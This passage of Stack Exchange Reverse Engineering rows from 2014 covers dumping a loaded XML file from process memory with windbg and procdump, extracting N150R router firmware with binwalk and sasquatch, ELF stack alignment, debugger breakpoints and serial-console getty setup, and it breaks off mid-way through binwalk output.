  <row Id="6716" PostTypeId="1" AcceptedAnswerId="6717" CreationDate="2014-11-26T02:13:59.010" Score="2" ViewCount="945" Body="&lt;p&gt;We have an executable that loads an XML file into memory, before parsing it into objects. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When this file is loaded into memory is it possible to, break when it is loaded into memory and then somehow extract the file from memory?&lt;/p&gt;&#xA;" OwnerUserId="10102" LastActivityDate="2017-03-27T08:01:50.593" Title="Dumping a file loaded into memory" Tags="|dumping|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6717" PostTypeId="2" ParentId="6716" CreationDate="2014-11-26T04:59:53.623" Score="4" Body="&lt;p&gt;Yes it is possible in a very large variety of ways, depending on OS, user privileges and user abilities. In some cases you even should not break -  it is enough to get memory dump of the process with tools such as &lt;a href=&quot;http://technet.microsoft.com/en-us/sysinternals/dd996900.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;procdump&lt;/a&gt; from &lt;a href=&quot;http://technet.microsoft.com/en-us/sysinternals/&quot; rel=&quot;nofollow noreferrer&quot;&gt;sysinternals&lt;/a&gt; package.XML data has very easy detectable structure and can be easily found in the dump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Update by 3/27/2017:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This answer didn't take in account capabilities of &lt;a href=&quot;https://en.wikipedia.org/wiki/Software_Guard_Extensions&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel SGX&lt;/a&gt; technology which is available since release of &lt;a href=&quot;https://en.wikipedia.org/wiki/Skylake_(microarchitecture)&quot; rel=&quot;nofollow noreferrer&quot;&gt;Skylake&lt;/a&gt; processor generation (6*). &#xA;This technology intentionally restricts memory dumping in &quot;SGX enclaves&quot; and if all the work on the XML is done inside it could not be dumped.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2017-03-27T08:01:50.593" LastActivityDate="2017-03-27T08:01:50.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6718" PostTypeId="2" ParentId="6716" CreationDate="2014-11-26T05:38:02.283" Score="3" Body="&lt;p&gt;&lt;code&gt;question is very vague only proper answer that this question can get is&lt;/code&gt; &lt;strong&gt;it depends&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;assuming your program does some like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main(void) {&#xA;    FILE *fp;&#xA;    long fsiz;&#xA;    char *buff;&#xA;    if((fopen_s(&amp;amp;fp,&quot;c:\\myxml.xml&quot;,&quot;rb&quot;)) == 0) {&#xA;        fseek(fp,0,SEEK_END);&#xA;        fsiz = ftell(fp);&#xA;        fseek(fp,0,SEEK_SET);&#xA;        if ( (buff = (char *)calloc(1,fsiz)) != NULL) {&#xA;            if (fread(buff,1,fsiz,fp) == fsiz)&#xA;                getchar();&#xA;        }&#xA;        fclose(fp);&#xA;    }    &#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it is possible to dump when the file is read&lt;/p&gt;&#xA;&#xA;&lt;p&gt;say you are using windbg  .writemem can dump the file when read&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:&lt;strong&gt;&gt;ls -la c:*.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-rw-rw-rw-  1 Admin 0 13437 2003-07-15 17:30 c:\myxml.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;:&gt;cdb -c &quot;bp fread \&quot;r $t0=poi(@esp+4);gu;.writemem c:\mydupxml.xml @$t0 l?@ea&#xA;x;\&quot;;g&quot; dumpxml.exe&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; cdb: Reading initial command 'bp fread &quot;r $t0=poi(@esp+4);gu;.writemem c:&#xA;\\mydupxml.xml @$t0 l?@eax;&quot;;g'&#xA;&#xA;Writing 347d bytes.......&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;:&lt;strong&gt;&gt;ls -la c:*.xml &amp;amp; fc /b c:\myxml.xml c:\mydupxml.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-rw-rw-rw-  1 Admin 0 13437 2014-11-26 11:54 c:\mydupxml.xml&#xA;-rw-rw-rw-  1 Admin 0 13437 2003-07-15 17:30 c:\myxml.xml &#xA;Comparing files C:\myxml.xml and C:\MYDUPXML.XML&#xA;FC: no differences encountered&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now assuming the executable is running and the file is loaded into memory and you dont know cant know the buffer address cant set breakpoints or whatnot you can initialte a kernel debugging session and can dump the unknown in most cases&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;lkd&gt; !process 0 0 dumpxml.exe&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PROCESS 86121020  SessionId: 0  Cid: 0864    Peb: 7ffd9000  ParentCid: 0d8c&#xA;    DirBase: 121805a0  ObjectTable: e35e0338  HandleCount:   8.&#xA;    Image: dumpxml.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;lkd&gt; !handle 0 3 86121020 File&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Searching for handles of type File&#xA;07f4: Object: 864f88a0  GrantedAccess: 00120089 (Inherit) Entry: e1139fe8&#xA;Object: 864f88a0  Type: (86fe9e70) File&#xA;    ObjectHeader: 864f8888 (old version)&#xA;        HandleCount: 1  PointerCount: 3&#xA;        Directory Object: 00000000  Name: dumpxml\myxml.xml {HarddiskVolume1}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;lkd&gt; !fileobj 864f88a0&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dumpxml\myxml.xml&#xA;&#xA;Related File Object: 0x862c2270&#xA;&#xA;Device Object: 0x86f76030   \Driver\Ftdisk&#xA;Vpb: 0x86f7a2b8&#xA;Event signalled&#xA;Access: Read SharedRead &#xA;&#xA;Flags:  0xc0042&#xA;    Synchronous IO&#xA;    Cache Supported&#xA;    Handle Created&#xA;    Fast IO Read&#xA;&#xA;FsContext: 0xe5ee0658   FsContext2: 0xe10e9600&#xA;Private Cache Map: 0x864e72f0&#xA;CurrentByteOffset: 347d&#xA;Cache Data:&#xA;  Section Object Pointers: 8656c324&#xA;  Shared Cache Map: 864e7218         File Offset: 347d in VACB number 0&#xA;  Vacb: 86fbecd0&#xA;  Your data is at: c484347d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;lkd&gt; .writemem c:\mydupxml.xml c484347d-347d l?347d&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Writing 347d bytes.......&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;.shell  fc /b c:\dumpxml\myxml.xml c:\dumpxml\mydupxml.xml&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Comparing files C:\\DUMPXML\\myxml.xml and C:\\DUMPXML\\MYDUPXML.XML&#xA;FC: no differences encountered&#xA;&#xA;.shell: Process exited&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or if you dont trust !fileobj :) you can try sussing it out by yourself with some convolutions like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lkd&amp;gt; db @@c++(((nt!_VACB *)*((nt!_Shared_cache_map *)(( nt!_FILE_OBJECT *) @@(864f88a0) )-&amp;gt;SectionObjectPointer-&amp;gt;SharedCacheMap)-&amp;gt;Vacbs)-&amp;gt;BaseAddress)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;c4840000  3c 3f 78 6d 6c 20 76 65-72 73 69 6f 6e 3d 22 31  &amp;lt;?xml version=&quot;1&#xA;c4840010  2e 30 22 3f 3e 0d 0a 3c-73 63 70 64 20 78 6d 6c  .0&quot;?&amp;gt;..&amp;lt;scpd xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2014-11-26T08:15:19.267" LastActivityDate="2014-11-26T08:15:19.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6719" PostTypeId="1" AcceptedAnswerId="10801" CreationDate="2014-11-26T18:32:52.363" Score="3" ViewCount="4870" Body="&lt;p&gt;I want lldb to break at the start of the actual code of an OS X application (which might be called &lt;em&gt;main&lt;/em&gt; if symbols are existing). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently looking this up by hand, but as I want to script some actions, it would be great if this could somehow be realized automatically&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8fUYr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any idea if there is a way?&lt;/p&gt;&#xA;" OwnerUserId="10109" LastActivityDate="2015-09-04T16:43:04.693" Title="lldb: break at start of actual code, not entrypoint" Tags="|debugging|osx|lldb|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6720" PostTypeId="1" AcceptedAnswerId="6721" CreationDate="2014-11-26T19:53:09.960" Score="4" ViewCount="8100" Body="&lt;p&gt;I'm trying to mount an img file for my wireless router firmware but I can't seem to do it successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I fun the file command on that .img it returns the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file file.img &#xA;file.img: data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try to use mount on it I get the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo mount file.img test/&#xA;mount: you must specify the filesystem type&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try to tell to use &quot;-t auto&quot; I get the same output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo mount -t auto file.img test&#xA;mount: you must specify the filesystem type&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;xxd returns the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ xxd -a N150R-V1.0.0.5_1.0.1.img | head&#xA;0000000: 6465 7669 6365 3a4e 3135 3052 0a76 6572  device:N150R.ver&#xA;0000010: 7369 6f6e 3a56 312e 302e 302e 355f 312e  sion:V1.0.0.5_1.&#xA;0000020: 302e 310a 7265 6769 6f6e 3a0a 0000 0000  0.1.region:.....&#xA;0000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................&#xA;*&#xA;0000070: 0000 0000 0000 0000 0000 0000 0000 1232  ...............2&#xA;0000080: 3036 3132 d9cf 3fc1 5297 2c87 0033 eed0  0612..?.R.,..3..&#xA;0000090: 9f05 0000 9f05 0000 9b63 9e62 0505 0700  .........c.b....&#xA;00000a0: 4e31 3530 522d 5631 2e30 2e30 2e35 5f31  N150R-V1.0.0.5_1&#xA;00000b0: 2e30 2e31 0000 0000 0000 0000 0000 0000  .0.1............&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;binwalk gives the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk N150R-V1.0.0.5_1.0.1.img &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;192           0xC0            Squashfs filesystem, big endian, version 3.0, size: 3403472 bytes, 1024 inodes, blocksize: 65536 bytes, created: 2013-11-28 11:44:07&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;fdisk (on OS X) returns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ fdisk N150R-V1.0.0.5_1.0.1.img &#xA;Disk: N150R-V1.0.0.5_1.0.1.img  geometry: 26/4/63 [6656 sectors]&#xA;Signature: 0x95EB&#xA;         Starting       Ending&#xA; #: id  cyl  hd sec -  cyl  hd sec [     start -       size]&#xA;------------------------------------------------------------------------&#xA; 1: 02  648  41  48 -  107 220  28 [ 275573942 - 2530152094] XENIX /     &#xA; 2: C9  165 158   8 -  311  15  40 [1825336399 - 3160300718] &amp;lt;Unknown ID&amp;gt;&#xA; 3: 12  606 153  51 -  988 164  42 [3547124620 - 4171149652] Compaq Diag.&#xA; 4: BD  479 182  60 -  173 155  40 [2642289636 - 1573814809] &amp;lt;Unknown ID&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could I get some guidance on how to extract the files from the img?  I have access to both OS X and Ubuntu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://support.on-networks.com/article_details/n150r-firmware-version-1005#N150R&quot; rel=&quot;nofollow&quot;&gt;Link to Firmware&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 1:&#xA;Result of sasquatch:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sasquatch N150R-V1.0.0.5_1.0.1.img &#xA;SquashFS version [24373.11825] / inode count [1312449891] suggests a SquashFS image of a different endianess&#xA;Non-standard SquashFS Magic: devi&#xA;Reading a different endian SQUASHFS filesystem on N150R-V1.0.0.5_1.0.1.img&#xA;Filesystem on N150R-V1.0.0.5_1.0.1.img is (13663:12590), which is a later filesystem version than I support!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10111" LastEditorUserId="10111" LastEditDate="2014-11-28T22:45:00.443" LastActivityDate="2014-11-29T23:28:38.067" Title="How to extract N150R firmware from .img file" Tags="|firmware|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6721" PostTypeId="2" ParentId="6720" CreationDate="2014-11-27T03:24:32.967" Score="7" Body="&lt;p&gt;The SquashFS image is version 3.0 with LZMA compression; LZMA compression was not officially added to SquashFS until version 4.0, so standard SquashFS tools won't recognize it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, &lt;a href=&quot;https://github.com/devttys0/sasquatch&quot; rel=&quot;nofollow&quot;&gt;sasquatch&lt;/a&gt; extracts it just fine for me. In fact, if you have sasquatch installed, the latest version of binwalk will use it to auto-extract the file system if you run binwalk with the &lt;code&gt;-e&lt;/code&gt; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to give &lt;code&gt;sasquatch&lt;/code&gt; the SquashFS image, not the raw firmware image. First, extract it with &lt;code&gt;dd&lt;/code&gt; and then run &lt;code&gt;sasquash&lt;/code&gt; against the extracted file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ dd if=N150R-V1.0.0.5_1.0.1.img bs=192 skip=1 of=fs.squashfs&#xA;$ sasquatch fs.squashfs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The latest version of &lt;code&gt;binwalk&lt;/code&gt; does this for you automatically with the &lt;code&gt;-e&lt;/code&gt; option:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk -e N150R-V1.0.0.5_1.0.1.img&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can force older versions of &lt;code&gt;binwalk&lt;/code&gt; to use &lt;code&gt;sasquatch&lt;/code&gt; as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk --dd='squashfs:squashfs:sasquatch %e' N150R-V1.0.0.5_1.0.1.img&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1408" LastEditorUserId="1408" LastEditDate="2014-11-29T23:28:38.067" LastActivityDate="2014-11-29T23:28:38.067" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6722" PostTypeId="2" ParentId="6720" CreationDate="2014-11-27T09:51:40.267" Score="1" Body="&lt;p&gt;If you don't want to install yet another tool, it will probably mount if you strip off the header (the first 192 Bytes that binwalk talks about):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dd if=file.img of=file.squashfs bs=192 skip=1&#xA;sudo mount file.squashfs test/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the router seems to have a big-endian Mips processor, mounting didn't work for me either. The following worked on Ubuntu 14.04 however:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apt-get install liblzo2-dev &#xA;git clone https://github.com/devttyS0/sasquatch&#xA;make&#xA;sasquatch /path/to/file.squashfs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Obviously, you need &lt;code&gt;git&lt;/code&gt;, &lt;code&gt;make&lt;/code&gt;, &lt;code&gt;gcc&lt;/code&gt; installed as well. &lt;code&gt;liblzo2-dev&lt;/code&gt; was the only dependency i hadn't installed before. I had to used the file prepared with &lt;code&gt;dd&lt;/code&gt; as shown above, not the original .img).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you can't get it to work, here's the extracted file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mega.co.nz/#!xFoQkZRB!lcdUdDVGKsgEeu8Q5HnL3BSBXJKCHe0jZkGwOyTSxlQ&quot; rel=&quot;nofollow&quot;&gt;https://mega.co.nz/#!xFoQkZRB!lcdUdDVGKsgEeu8Q5HnL3BSBXJKCHe0jZkGwOyTSxlQ&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2014-11-28T23:10:57.987" LastActivityDate="2014-11-28T23:10:57.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6723" PostTypeId="1" AcceptedAnswerId="6727" CreationDate="2014-11-27T11:37:56.913" Score="1" ViewCount="137" Body="&lt;p&gt;While I was reversing an elf binary, I tried to manually compute my environment variable's address. Therefore I found &lt;a href=&quot;http://www.cnblogs.com/jesse123/archive/2011/11/07/2240217.html&quot; rel=&quot;nofollow&quot;&gt;this documentation&lt;/a&gt; and we're said that there is one NULL DWORD at the end of the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that case, the stack's binary isn't randomized, so there is a NULL DWORD at 0xbffffffc (0xc0000000 - 4). Then normally goes the program's name towards low addresses. So one would read into the stack:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./program_name\0 + NULL DWORD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I'm finding two dwords when I check this out with gdb:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) x/4x 0xc0000000 - 0x10&#xA;0xbffffff0:     0x5f747365      0x00766e65      0x00000000      0x0000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can see that there's the end of my program name (plus the \0 as well) but shouldn't it end  at 0xbffffffc instead of 0xbffffff8? There are two nul dwords instead of one, and I cannot understand why.&lt;/p&gt;&#xA;" OwnerUserId="1316" LastActivityDate="2014-11-27T16:48:34.690" Title="ELF File format Two terminating null dword towards 0xc0000000?" Tags="|gdb|elf|stack|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6724" PostTypeId="2" ParentId="6716" CreationDate="2014-11-27T12:39:13.340" Score="1" Body="&lt;p&gt;You can also just dump all the RAM :)&#xA;&lt;a href=&quot;https://github.com/volatilityfoundation/volatility&quot; rel=&quot;nofollow&quot;&gt;https://github.com/volatilityfoundation/volatility&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3490" LastActivityDate="2014-11-27T12:39:13.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6725" PostTypeId="2" ParentId="6695" CreationDate="2014-11-27T12:44:51.070" Score="2" Body="&lt;p&gt;THis is one of the canonical sources:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jmendeth.com/blog/reverse-engineering-flash/&quot; rel=&quot;nofollow&quot;&gt;http://jmendeth.com/blog/reverse-engineering-flash/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3490" LastActivityDate="2014-11-27T12:44:51.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6726" PostTypeId="2" ParentId="6723" CreationDate="2014-11-27T16:43:23.297" Score="0" Body="&lt;p&gt;Actually the architecture you're based on is important. In the given example, we were supposed that the binary was running on an x86 system. In my case, although it's been compiled with &lt;code&gt;-m32&lt;/code&gt;, it's been run on an x64 system, thus aligning the stack with a &lt;em&gt;QWORD&lt;/em&gt;, not a &lt;em&gt;DWORD&lt;/em&gt;. This explains why there are &quot;two DWORD&quot; instead of one.&lt;/p&gt;&#xA;" OwnerUserId="1316" LastActivityDate="2014-11-27T16:43:23.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6727" PostTypeId="2" ParentId="6723" CreationDate="2014-11-27T16:48:34.690" Score="1" Body="&lt;p&gt;I don't know which architecture you are on, but &lt;a href=&quot;http://asm.sourceforge.net/articles/startup.html#st&quot; rel=&quot;nofollow&quot;&gt;the original documentation&lt;/a&gt; links to &lt;code&gt;create_elf_tables&lt;/code&gt; in binfmt_elf.c.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this function, you've got &lt;code&gt;p = arch_align_stack(p);&lt;/code&gt;. The chinese documentation is obviously written for x86, but your architecture may use 8 bytes alignement for your stack, and pad with an extra DWORD.&lt;/p&gt;&#xA;" OwnerUserId="10118" LastActivityDate="2014-11-27T16:48:34.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6729" PostTypeId="2" ParentId="6719" CreationDate="2014-11-28T00:28:40.270" Score="1" Body="&lt;p&gt;Try adding a breakpoint on a bad address. In GDB, the way I do this is: &lt;code&gt;b *0xf00&lt;/code&gt;, or something similar. Here's what it looks like for me in GDB, and maybe you'll find a way to duplicate the same behavior:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;$ gdb ./a.out&#xA;(gdb) b *0xf00&#xA;(gdb) r&#xA;Starting program: ./a.out &#xA;Warning:&#xA;Cannot insert breakpoint 1.&#xA;Cannot access memory at address 0xf00&#xA;&#xA;(gdb) x/2i $rip&#xA;=&gt; 0x7ffff7ddb2d0 &amp;lt;_start&amp;gt;:   mov    rdi,rsp&#xA;   0x7ffff7ddb2d3 &amp;lt;_start+3&amp;gt;: call   0x7ffff7ddea70 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1866" LastActivityDate="2014-11-28T00:28:40.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6730" PostTypeId="1" CreationDate="2014-11-28T13:35:47.247" Score="2" ViewCount="419" Body="&lt;p&gt;I am working on a simple embedded system based around an Olinuxino board. This has a serial console header onboard. TX and RX are both connected to the respective pins on the microcontroller (i.e. this isn't a hardware issue).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When connected, I can see the normal output from a booting Linux system, but at no point am I presented with a login. No other input seem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What mechanisms can be used to stop a serial console accepting input on a Linux system? &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Specific situation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The device is using busybox, and inittab looks like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# /etc/inittab: init(8) configuration.&#xA;# $Id: inittab,v 1.91 2002/01/25 13:35:21 miquels Exp $&#xA;&#xA;# The default runlevel.&#xA;id:5:initdefault:&#xA;&#xA;# Boot-time system configuration/initialization script.&#xA;# This is run first except when booting in emergency (-b) mode.&#xA;si::sysinit:/etc/init.d/rcS&#xA;&#xA;# What to do in single-user mode.&#xA;~~:S:wait:/sbin/sulogin&#xA;&#xA;# /etc/init.d executes the S and K scripts upon change&#xA;# of runlevel.&#xA;#&#xA;# Runlevel 0 is halt.&#xA;# Runlevel 1 is single-user.&#xA;# Runlevels 2-5 are multi-user.&#xA;# Runlevel 6 is reboot.&#xA;&#xA;l0:0:wait:/etc/init.d/rc 0&#xA;l1:1:wait:/etc/init.d/rc 1&#xA;l2:2:wait:/etc/init.d/rc 2&#xA;l3:3:wait:/etc/init.d/rc 3&#xA;l4:4:wait:/etc/init.d/rc 4&#xA;l5:5:wait:/etc/init.d/rc 5&#xA;l6:6:wait:/etc/init.d/rc 6&#xA;# Normally not reached, but fallthrough in case of emergency.&#xA;z6:6:respawn:/sbin/sulogin&#xA;S:2345:respawn:/sbin/getty 115200 ttyAMA0&#xA;# /sbin/getty invocations for the runlevels.&#xA;#&#xA;# The &quot;id&quot; field MUST be the same as the last&#xA;# characters of the device (after &quot;tty&quot;).&#xA;#&#xA;# Format:&#xA;#  &amp;lt;id&amp;gt;:&amp;lt;runlevels&amp;gt;:&amp;lt;action&amp;gt;:&amp;lt;process&amp;gt;&#xA;#&#xA;&#xA;1:2345:respawn:/sbin/getty 38400 tty1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;/sbin/getty links to /sbin/getty.tinylogin which links to /bin/tinylogin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The options passed to the kernel are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[    0.000000] Kernel command line: console=ttyAMA0,115200 root=/dev/mmcblk0p2 rw rootwait ssp1=mmc lcd_panel=lms430 no_console_suspend&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure if the difference in speed could cause this not to work.&lt;/p&gt;&#xA;" OwnerUserId="1388" LastEditorUserId="1388" LastEditDate="2014-11-29T08:38:40.740" LastActivityDate="2019-12-12T11:02:55.433" Title="Mechanisms to stop serial console accepting input on a Linux system?" Tags="|linux|serial-communication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6733" PostTypeId="2" ParentId="6730" CreationDate="2014-11-28T22:45:17.790" Score="1" Body="&lt;p&gt;You don't stop the serial console from accepting input; you make it accept input by placing an appropriate &lt;code&gt;getty&lt;/code&gt; entry into &lt;code&gt;/etc/inittab&lt;/code&gt;. If that entry is missing, no one will ever start a login process on the serial console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(That's for classical systems that use classic &lt;code&gt;init&lt;/code&gt; to start and respawn background processes. Desktop systems have moved to a new method named &lt;code&gt;upstart&lt;/code&gt; that doesn't use &lt;code&gt;/etc/inittab&lt;/code&gt; any more. But on a simple embedded system I'd rather expect inittab to be still in use.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to answer your question: your manufacturer didn't do anything to stop your Linux from running a login on the serial console (that you can reverse). Instead, they probably didn't do anything to make it run a login at all. Possibly they didn't even provide the &lt;code&gt;getty&lt;/code&gt; binary that initiates login.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="1654" LastEditDate="2018-04-16T07:21:55.390" LastActivityDate="2018-04-16T07:21:55.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6735" PostTypeId="1" CreationDate="2014-11-29T07:40:58.173" Score="0" ViewCount="590" Body="&lt;pre&gt;&#xA;root@kali:/var/tmp# /usr/local/bin/binwalk 1.cnu &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;859773        0xD1E7D         LZMA compressed data, properties: 0xD8, dictionary size: 65536 bytes, uncompressed size: 143729976 bytes&#xA;2167077       0x211125        LZMA compressed data, properties: 0xA2, dictionary size: 1048576 bytes, uncompressed size: 512 bytes&#xA;2462556       0x25935C        Unix path: /usr/local/trace/log.properties&#xA;2491824       0x2605B0        Neighborly text, &quot;neighborDatater of ipV4Buffer&quot;&#xA;2496776       0x261908        Unix path: /usr/local/etc/ppid.conf&#xA;2498956       0x26218C        Unix path: /usr/local/etc/localtime&#xA;2541156       0x26C664        HTML document header&#xA;2541164       0x26C66C        HTML document footer&#xA;2548552       0x26E348        Base64 standard index table&#xA;2633552       0x282F50        PARity archive data - file number 29296&#xA;2673864       0x28CCC8        XML document, version: &quot;1.0&quot;&#xA;2818416       0x2B0170        XML document, version: &quot;1.0&quot;&#xA;2818768       0x2B02D0        XML document, version: &quot;1.0&quot;&#xA;2850344       0x2B7E28        XML document, version: &quot;1.0&quot;&#xA;2850544       0x2B7EF0        XML document, version: &quot;1.0&quot;&#xA;2852484       0x2B8684        XML document, version: &quot;1.0&quot;&#xA;2907869       0x2C5EDD        Copyright string: &quot;Copyright (c) 1998-2004 Glenn Randers-Pehrson&quot;&#xA;2907918       0x2C5F0E        Copyright string: &quot;Copyright (c) 1996-1997 Andreas Dilger&quot;&#xA;2907960       0x2C5F38        Copyright string: &quot;Copyright (c) 1995-1996 Guy Eric 